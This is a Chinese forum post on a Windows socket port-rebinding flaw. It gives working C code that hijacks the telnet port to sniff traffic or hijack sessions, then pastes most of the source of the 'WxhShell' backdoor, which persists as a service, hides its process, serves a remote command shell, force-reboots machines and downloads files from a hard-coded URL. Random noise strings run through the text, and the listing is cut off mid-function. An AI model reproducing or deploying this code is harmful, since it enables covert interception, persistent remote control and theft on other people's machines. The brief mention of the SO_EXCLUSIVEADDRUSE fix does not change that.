社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11619阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Tr&E4e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t8& q9$  
Jf)3< ~G  
  saddr.sin_family = AF_INET; :tM?%=Q  
b{RqwV5P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fYBH)E  
~GG?GB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pdw#o^Iq^  
;xK_qBIP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /)9W1U^B  
,)h)5o(?  
  这意味着什么?意味着可以进行如下的攻击: B!bsTvX  
B wC+ov=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JRO$<  
pUCK-rL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ( KTnJZ  
5h8o4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -(>qu.[8=  
xhw-2dl*H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?z/Vgk+9|  
`tE^jqrke5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gi]ZG  
bU`=*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v7IzDz6gF  
SMoz:J*Q(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F>+2DlA`<e  
6GYtY>  
  #include ([ dT!B#aH  
  #include %6ub3PLw8  
  #include \ZD[ !w7  
  #include    \DA$6w\\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \Hwg) Uc{  
  int main() +y&d;0!  
  { ?t rV72D  
  WORD wVersionRequested; `.=sTp2rbc  
  DWORD ret; Z0ReWrl;`  
  WSADATA wsaData; ~ y;y(4<  
  BOOL val; #tjmWGo,  
  SOCKADDR_IN saddr; t`G)b&3_O  
  SOCKADDR_IN scaddr; o>c ^aRZ{  
  int err; #SkX@sl@  
  SOCKET s; TfRGA (+#  
  SOCKET sc; ^Y04qeRd  
  int caddsize; Ht[{ryTxu  
  HANDLE mt; MJ\[Dt  
  DWORD tid;   ?_q+&)4-o  
  wVersionRequested = MAKEWORD( 2, 2 ); W f@t4(i  
  err = WSAStartup( wVersionRequested, &wsaData ); ALGg AX3t  
  if ( err != 0 ) { d~*TIN8Ke~  
  printf("error!WSAStartup failed!\n"); {8@\Ij  
  return -1; N[Sb#w`[/  
  } !e3YnlE  
  saddr.sin_family = AF_INET; Q_zr\RM>  
   x*}bo))hb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }!)F9r@\  
8]< f$3.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [VSU"AJY  
  saddr.sin_port = htons(23); EO)%UrWnC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R$m`Z+/@  
  { iOqk*EL_r\  
  printf("error!socket failed!\n"); &mE?y%  
  return -1; ](K0Fwo`;"  
  } &~-~5B|3"  
  val = TRUE; 1S$h<RIPAc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Vq ^]s $'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !gP0ndRJ=  
  { } /e`v6  
  printf("error!setsockopt failed!\n"); N4UM82N  
  return -1; 9z ?7{2C  
  } ;(6P6@+o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *P2[qhP2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?KWj}| %  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *'R#4@wmP  
ml u 3K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SH8/0g?  
  { x#8w6@iPQ  
  ret=GetLastError(); hI|)u4q  
  printf("error!bind failed!\n"); eThy+  
  return -1; I@ \#up}  
  } UQT'6* !  
  listen(s,2); .q;ED`G  
  while(1) mBk5+KyT  
  { ijUzC>O+q  
  caddsize = sizeof(scaddr); +MUwP(U=w  
  //接受连接请求 xxa} YIe8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qpqokK  
  if(sc!=INVALID_SOCKET) -5>NE35Cto  
  { Q M 1F?F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F#V q#|_)>  
  if(mt==NULL) {G*QY%j^  
  { GsV4ZZ  
  printf("Thread Creat Failed!\n"); M{N(~ql  
  break; 6Nh0  
  } d^V$Z6* ]  
  } i$UQbd  
  CloseHandle(mt); HJhH-\{@  
  } {3edTu  
  closesocket(s); H{fM%*w  
  WSACleanup(); 8_we: 9A  
  return 0; Xm_$ dZ  
  }   ;IZ?19Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) jO'|mGUM  
  { ;+Y i.Q/\  
  SOCKET ss = (SOCKET)lpParam; svhrf;3:  
  SOCKET sc; g+[kde;(^  
  unsigned char buf[4096]; `l]j#qshTm  
  SOCKADDR_IN saddr; <GIwRVCU  
  long num; s& yk  
  DWORD val; 0SV\{]2  
  DWORD ret; E{Vo'!LY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JW+*d`8Z[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %mI~ =^za  
  saddr.sin_family = AF_INET; RtV.d \  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )0CQP  
  saddr.sin_port = htons(23); m( 47s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Hjea1@t  
  { 8X7{vN_3K  
  printf("error!socket failed!\n"); yTAvF\s$(  
  return -1; hWEnn=BW  
  } OtUr GQP  
  val = 100; (M t5P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w:ULi3  
  { Q/^A #l[  
  ret = GetLastError(); s ic$uT  
  return -1; N:BL=} V  
  } KSqTY>%fnv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | {P|.  
  { 2WCLS{@'  
  ret = GetLastError(); e%6{ME 3  
  return -1; ?y7w}W  
  } 3<(q }  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e<\<,)9@/  
  { RA1yr+)  
  printf("error!socket connect failed!\n"); tIZ~^*'  
  closesocket(sc); eti `O  
  closesocket(ss); 'jaoO9KY K  
  return -1; 1~5trsB+5  
  } G$JFuz)|  
  while(1) Omyt2`q  
  { IF_DZ   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #MgvG,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kDsIp=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tj`5L6N;8  
  num = recv(ss,buf,4096,0); D-ADv3E,  
  if(num>0) I4e+$bU3  
  send(sc,buf,num,0);  t@B(+  
  else if(num==0) l},NcPL`  
  break; gA^q^>7  
  num = recv(sc,buf,4096,0); hKe30#:v  
  if(num>0) T~>#2N-Z  
  send(ss,buf,num,0); %%}A|,  
  else if(num==0) ^gR+S  
  break; &=q! Wdw~  
  } _a -]?R  
  closesocket(ss); IB$7`7  
  closesocket(sc); jj&s} _75  
  return 0 ; q~Jq/E"f  
  } SS3-+<z  
n9UKcN-  
3'eG ;<F  
========================================================== v 1.*IV5Y  
rU\[SrIhz  
下边附上一个代码,,WXhSHELL w G!u+  
b-<HXn_Fd  
========================================================== W{Q)-y  
pj{\T?(  
#include "stdafx.h" @u9Mks|{  
XW~bu2%{7"  
#include <stdio.h> aW;aA'!  
#include <string.h> !{%G0(Dv  
#include <windows.h> 665[  
#include <winsock2.h> tk?UX7F  
#include <winsvc.h> >)#c\{ c  
#include <urlmon.h> vq6%Ey3Gix  
ygViPz<J  
#pragma comment (lib, "Ws2_32.lib") Y 62r  
#pragma comment (lib, "urlmon.lib") :L$4*8@`+  
>L>+2z  
#define MAX_USER   100 // 最大客户端连接数 D3]BTkMMS;  
#define BUF_SOCK   200 // sock buffer cf;Ht^M\  
#define KEY_BUFF   255 // 输入 buffer *gqSWQ  
T@ 48qg  
#define REBOOT     0   // 重启 q)I|2~Q c^  
#define SHUTDOWN   1   // 关机 yYTVXs`fVj  
A"l{?;~  
#define DEF_PORT   5000 // 监听端口 \"^% 90F  
]((i?{jb(  
#define REG_LEN     16   // 注册表键长度 `a4 $lyZ  
#define SVC_LEN     80   // NT服务名长度 t_c?Wp~tH  
;e{5)@h$  
// 从dll定义API K{DAOQ.z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7_)|I? =0d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZF{~ih*^u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }T(z4P3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G\~^&BAC  
*xH\)|3,  
// wxhshell配置信息 )"u:ytK{  
struct WSCFG { V2 `> ]/|  
  int ws_port;         // 监听端口 &RY)o^g[4  
  char ws_passstr[REG_LEN]; // 口令 "JhimgwvY  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]PS\#I}  
  char ws_regname[REG_LEN]; // 注册表键名 :pZ}*?\  
  char ws_svcname[REG_LEN]; // 服务名 &8?`<   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Spj9H?m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Y&KTSD"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vjlGXT`m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mg? L-C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xFb3O|TC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rlw3!]5+2  
JP=ZUu  
}; g(m_yXIx  
>)c9|e=8  
// default Wxhshell configuration d-$_|G+  
struct WSCFG wscfg={DEF_PORT, >BoSw&T$Q  
    "xuhuanlingzhe", ecFi (eMD  
    1, \< 65??P  
    "Wxhshell", H5M#q6`H6  
    "Wxhshell", Tov&68A~e  
            "WxhShell Service", #A<"4#}  
    "Wrsky Windows CmdShell Service", /lH'hcXcX  
    "Please Input Your Password: ", T.Zz;2I  
  1, n0fRu`SNV  
  "http://www.wrsky.com/wxhshell.exe", JAP (|  
  "Wxhshell.exe" jD9lz-Y@  
    }; GU6 qIz|  
;Bs^iL  
// 消息定义模块 {bkGYx5.C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i21QJ6jPcI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +/N1_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {;n0/   
char *msg_ws_ext="\n\rExit."; r+\/G{+=}  
char *msg_ws_end="\n\rQuit."; <GfVMD  
char *msg_ws_boot="\n\rReboot..."; a%J /0'(d  
char *msg_ws_poff="\n\rShutdown..."; Y!n'" *J>  
char *msg_ws_down="\n\rSave to "; !J^tg2M8:  
\Jpw1,6  
char *msg_ws_err="\n\rErr!"; fusPMf *[  
char *msg_ws_ok="\n\rOK!"; AQh["1{yJ  
H1T~u{8j}  
char ExeFile[MAX_PATH]; {D(,ft;s^  
int nUser = 0; yazZw}};  
HANDLE handles[MAX_USER]; !0jq6[&  
int OsIsNt; n;OHH{E{  
x0G>ktWq<  
SERVICE_STATUS       serviceStatus; JlIS0hnv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VGJDqm!  
_rjBc ;a  
// 函数声明 ,nYZxYLf+  
int Install(void); cU | _  
int Uninstall(void); AbY;H  
int DownloadFile(char *sURL, SOCKET wsh); a4by^   
int Boot(int flag); SIv[9G6  
void HideProc(void); Sx&mv.?X  
int GetOsVer(void); :ICr\FY$  
int Wxhshell(SOCKET wsl); }x0Z( `  
void TalkWithClient(void *cs); sU%" azc  
int CmdShell(SOCKET sock); eH[y[~r  
int StartFromService(void); wE2x:Ge:  
int StartWxhshell(LPSTR lpCmdLine); #W5Yw>$  
i./Y w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 065A?KyD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3"tg+DncC  
3- )kwy6L  
// 数据结构和表定义 8IOj[&%0  
SERVICE_TABLE_ENTRY DispatchTable[] = B;c=eMw  
{ *vs~SzF$  
{wscfg.ws_svcname, NTServiceMain}, +Ag#B*   
{NULL, NULL} k2uBaj]  
}; Xz* tbW#  
5KaSWw/  
// 自我安装 =,E'~P  
int Install(void) )"~=7)~<^  
{ V"g~q?@F  
  char svExeFile[MAX_PATH]; R `Q?J[e  
  HKEY key; u'Pn(A@1R  
  strcpy(svExeFile,ExeFile); jl@K!=q  
/Mx CvEE  
// 如果是win9x系统,修改注册表设为自启动 Te}IMi:  
if(!OsIsNt) { hDb HSZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ee\Gl?VN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _w%s(dzk  
  RegCloseKey(key); I,9~*^$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !vrnoFVu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VY{,x;O`  
  RegCloseKey(key); nOr"K;C  
  return 0; v1K4$&{F  
    } .m'N7`VB  
  } c8\g"T  
} L]NYYP-  
else { 3H <`Z4;  
|{!Ns+'  
// 如果是NT以上系统,安装为系统服务 o HRbAE^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WiwwCKjSa  
if (schSCManager!=0) i*b4uHna  
{ NIL^UN}  
  SC_HANDLE schService = CreateService 10TSc j  
  ( bY&YSlO  
  schSCManager, 'F6#l"~/  
  wscfg.ws_svcname, v6(,Ax&  
  wscfg.ws_svcdisp, bZnDd  
  SERVICE_ALL_ACCESS, $"(3MnR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -%N}A3m!5  
  SERVICE_AUTO_START, rZ 6@b  
  SERVICE_ERROR_NORMAL, rl41# 6  
  svExeFile, a6 * Y%?  
  NULL, P^n{Y~P=Q  
  NULL, |:/ @t  
  NULL, rcW#6VZ=  
  NULL, .Btv}b  
  NULL BiI{8`M!$x  
  ); GMyoSe%1/  
  if (schService!=0) {AtfK>D  
  { m(h/:JZ\  
  CloseServiceHandle(schService); B=^2g}mgK  
  CloseServiceHandle(schSCManager); ?({PcF/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B1HQz@^  
  strcat(svExeFile,wscfg.ws_svcname); >4#tkv>S.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &a~L_`\'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2 /UI>@By  
  RegCloseKey(key); P@-R5GK  
  return 0; Mof)2Hbd:  
    } F ^[M  
  } ^>t-v  
  CloseServiceHandle(schSCManager); c|3h|  
} Dt (:u,%  
} jCam,$oE  
5Bzuj`  
return 1; $)Jc-V 6E  
} kKNk2!z`M  
$o{F  
// 自我卸载 ` 3vN R"  
int Uninstall(void) EgCp:L{  
{ hE9'F(87a  
  HKEY key; j(UX 6lR  
m|(I} |kT3  
if(!OsIsNt) { 6Lav.x\W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )3+xsnv  
  RegDeleteValue(key,wscfg.ws_regname); m]  EDuW  
  RegCloseKey(key); aJ% e'F[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R,fMZHAG  
  RegDeleteValue(key,wscfg.ws_regname); ~x9 W{B]  
  RegCloseKey(key); deHY8x5uI  
  return 0; ysQEJm^|-u  
  } iRkOH]+K  
} 0<6rU  
} (4E.Li<O  
else { 2OA8 R}  
Y!Usce  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (0O`A~M3  
if (schSCManager!=0) \E>%W  
{ tOu90gu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mw2rSUI{  
  if (schService!=0) =kyJaT^5[  
  { O[3q9*(  
  if(DeleteService(schService)!=0) { (mu{~@Hw  
  CloseServiceHandle(schService); 2M!+gk=+  
  CloseServiceHandle(schSCManager); zlC^  
  return 0; la!1[VeL  
  } 0W!V V=j<}  
  CloseServiceHandle(schService); VGkW3Nt0  
  } Xd90n>4S  
  CloseServiceHandle(schSCManager); l;"ub^AH  
} pIM*c6  
} iA5* _tK5  
1gf/#+$\  
return 1; (UbR%A|v;  
} Q-H =wJ4R  
./aZV  
// 从指定url下载文件 Q;{D8 #!  
int DownloadFile(char *sURL, SOCKET wsh) 9`hpa-m@  
{ *q\HFI  
  HRESULT hr; # khyy-B=  
char seps[]= "/"; >Rx8 0  
char *token; 6i*p +S?U"  
char *file; *m `KU+o-u  
char myURL[MAX_PATH]; b tr x?k(  
char myFILE[MAX_PATH]; 1o"y%*"  
38zR\@'j]4  
strcpy(myURL,sURL); :y<Cd[/  
  token=strtok(myURL,seps); <S:,`v&Z  
  while(token!=NULL) hO:)=}+H  
  { >@q2FSMf  
    file=token; ^D>/wX\u  
  token=strtok(NULL,seps); {H~8'K-  
  } FRs|!\S=  
+c~O0U1  
GetCurrentDirectory(MAX_PATH,myFILE); 2J>A;x_?  
strcat(myFILE, "\\"); >=]NO'?O  
strcat(myFILE, file); ^mQ;CMV  
  send(wsh,myFILE,strlen(myFILE),0); Wb*T   
send(wsh,"...",3,0); r!-L`GUm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ugee?;]lu  
  if(hr==S_OK) ^5^ zo~^o  
return 0; TZ`]#^kU  
else p~k`Z^ xY$  
return 1; &B{Jxc`VA  
reD[j,i&t.  
} &?uzJx~  
s\n,Z?m  
// 系统电源模块 yE!7`c.[u  
int Boot(int flag) b ?=  
{ gFH;bZU  
  HANDLE hToken; V2<k0@y  
  TOKEN_PRIVILEGES tkp; =~(LJPo6  
yF [@W<  
  if(OsIsNt) { )BMWC k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l{%Op\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $6]x,Ct  
    tkp.PrivilegeCount = 1; U:T5o]P<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cZ7F1H~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b5iJ m-  
if(flag==REBOOT) { SOi(5]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ 33@H  
  return 0; t9=|* =;9)  
} }I'>r(K  
else { q>Ar.5&M_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 55jY` b .  
  return 0; !:!@dC%8_  
} ~O7cUsAi'  
  } LRLhS<9  
  else { uDMUy"8&!  
if(flag==REBOOT) { z; z'`A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FC/>L  
  return 0; "KQ\F0/  
} o*5e14W(:  
else { R}K5'`[%ZY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G~mB=]  
  return 0; E l8.D3  
} 85d7IB{28  
} pCud` :o"  
z|4@nqqX  
return 1; cJp1 <R  
} Dv\:b*  
^FpiQF  
// win9x进程隐藏模块 lhvZ*[[<)  
void HideProc(void) jP{]LJ2.6\  
{ <:_]Yl  
l{7Dv1[Ss  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u/c~PxC  
  if ( hKernel != NULL ) p|O-I&Xd  
  { !h~#L"z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SBB bniK-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2l}Fg D  
    FreeLibrary(hKernel); 3dzqV aV  
  } /`]|_>'  
KE|u}M@v6  
return; Z+pvdu  
} JKu6+V jO  
9zGKQ|X)  
// 获取操作系统版本 5|B(K @<  
int GetOsVer(void) "Qm~;x2kB  
{ '| Q*~Lh  
  OSVERSIONINFO winfo; -|iA!w#31  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }5c'ui!3H  
  GetVersionEx(&winfo); eVNBhR}HS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t1_y1!u Q  
  return 1; =dw*B  
  else ;@;ie8H  
  return 0; W0,"V'C  
} (H|d3  
Ia>th\_&  
// 客户端句柄模块 9!/1F !  
int Wxhshell(SOCKET wsl) eNk!pI7g  
{ `[HoxCV3o  
  SOCKET wsh; otnY{r *  
  struct sockaddr_in client; +^3L~?  
  DWORD myID; o\V4qekk  
UBk 5O&  
  while(nUser<MAX_USER) U3R`mHr0  
{ :|6D@  
  int nSize=sizeof(client); .$E~.6J %i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |$*9j""u  
  if(wsh==INVALID_SOCKET) return 1; 6"c!tJc7j  
M97p.;;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wP *a>a  
if(handles[nUser]==0) FYE9&{]h  
  closesocket(wsh); *V<2\-  
else 6'lT`E|  
  nUser++; [q|Q]O0  
  } #mFAl|O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VDI S`E  
Ognq*[om  
  return 0; W&q5cz  
} ^xu)~:} i  
x6cl(J}  
// 关闭 socket _( A +_|  
void CloseIt(SOCKET wsh) B qiq  
{ ]KPg=@Q/  
closesocket(wsh); KVe'2Q<  
nUser--; cLk+( dn  
ExitThread(0); Tee3U%Y  
} ^ cd5Zl  
\\pyu]z  
// 客户端请求句柄 (Y@|h%1W  
void TalkWithClient(void *cs) f(ec/0W  
{ ykl=KR  
n'(n4qH2#s  
  SOCKET wsh=(SOCKET)cs; )ZT0zIG  
  char pwd[SVC_LEN]; Tqh Rs  
  char cmd[KEY_BUFF]; uN^qfJ'@ >  
char chr[1]; *[/Xhx"  
int i,j; ?ut juMdl  
.&!{8jBX  
  while (nUser < MAX_USER) { 38S&7>0@|q  
6L% R@r  
if(wscfg.ws_passstr) { S{|)9EKw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -`1L[-<d=/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BGYm]b\j[  
  //ZeroMemory(pwd,KEY_BUFF); K`83C`w.  
      i=0; P\4o4MF@K  
  while(i<SVC_LEN) { +P;D}1B#I?  
7^e}|l  
  // 设置超时 <cc0phr  
  fd_set FdRead; 1OwkLy,P  
  struct timeval TimeOut; X#C7r@H  
  FD_ZERO(&FdRead); e:D9;`C  
  FD_SET(wsh,&FdRead); I }I/dh  
  TimeOut.tv_sec=8; #AnSjl  
  TimeOut.tv_usec=0; YU"\Wd[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %l P   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uWT&`m_(2  
`CUO!'U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w)>z3L m  
  pwd=chr[0]; ?)<XuMh  
  if(chr[0]==0xd || chr[0]==0xa) { xb_:9   
  pwd=0; a^1c _  
  break; gMMd=  
  } @+vTGjHA  
  i++; Kt7x'5  
    } Ln -?/[E  
~ab_+%  
  // 如果是非法用户,关闭 socket +>%+r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Ea_:C'  
} M!i5StGC  
-H;y_^2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h>Pg:*N,(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ T_EsnN  
u(a&x|WY  
while(1) { 6?x{-Zj ^?  
vrDRSc6_  
  ZeroMemory(cmd,KEY_BUFF); < tq9  
W5uI(rS<6  
      // 自动支持客户端 telnet标准   6)YNjh.{ *  
  j=0; +W4g:bB1  
  while(j<KEY_BUFF) { %dR./{txT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1g.9R@Kc$  
  cmd[j]=chr[0]; !/Ps}.)A`  
  if(chr[0]==0xa || chr[0]==0xd) { $q+`GXc-  
  cmd[j]=0; 9\0 K%LL  
  break; uQ1;+P:L  
  } @ ]3Rw[% z  
  j++; 4>#^Pk?Ra  
    } J8Db AB4X  
8dB~09Z7  
  // 下载文件 F}[;ytmUS  
  if(strstr(cmd,"http://")) { 0)44*T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K0@7/*%  
  if(DownloadFile(cmd,wsh)) X*q C:]e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/YL1s  
  else [SvwJIJJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]}l!L;  
  } .e+UgC wi  
  else { jU~%5R  
KYW1<Wcp  
    switch(cmd[0]) { Q~{@3<yEI  
  m~B=C>r}t  
  // 帮助 DNe^_v)]|  
  case '?': { E e&$9 )t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O waXG/z~  
    break; %%[TM(z  
  } o$ k$  
  // 安装 wQ^a2$Z  
  case 'i': { .).<L`q  
    if(Install()) xU"qB24]=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DV" ri  
    else \ChcJth@o<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y'h'8 \  
    break; 0/]vmDr  
    } ".ZiR7Z:$Y  
  // 卸载 uoHhp4>^  
  case 'r': { vsR ^aVwVZ  
    if(Uninstall()) LeCU"~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); es]m 6A  
    else N8vl< Mq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c.WT5|:qw  
    break; 9U*vnLB  
    } M8}M*\2  
  // 显示 wxhshell 所在路径  <k5~z(  
  case 'p': { RJ44o>L4O  
    char svExeFile[MAX_PATH]; i6kyfOI  
    strcpy(svExeFile,"\n\r"); ?Sxnq#r#  
      strcat(svExeFile,ExeFile); 6f>HE'N  
        send(wsh,svExeFile,strlen(svExeFile),0); 7:%K-LeaQu  
    break; A-$BB=Ot  
    } i=+6R  
  // 重启 I:"`|eHxv  
  case 'b': { AK =k@hT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @=c='V]  
    if(Boot(REBOOT)) Nb1lawC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 d5x4^EYE  
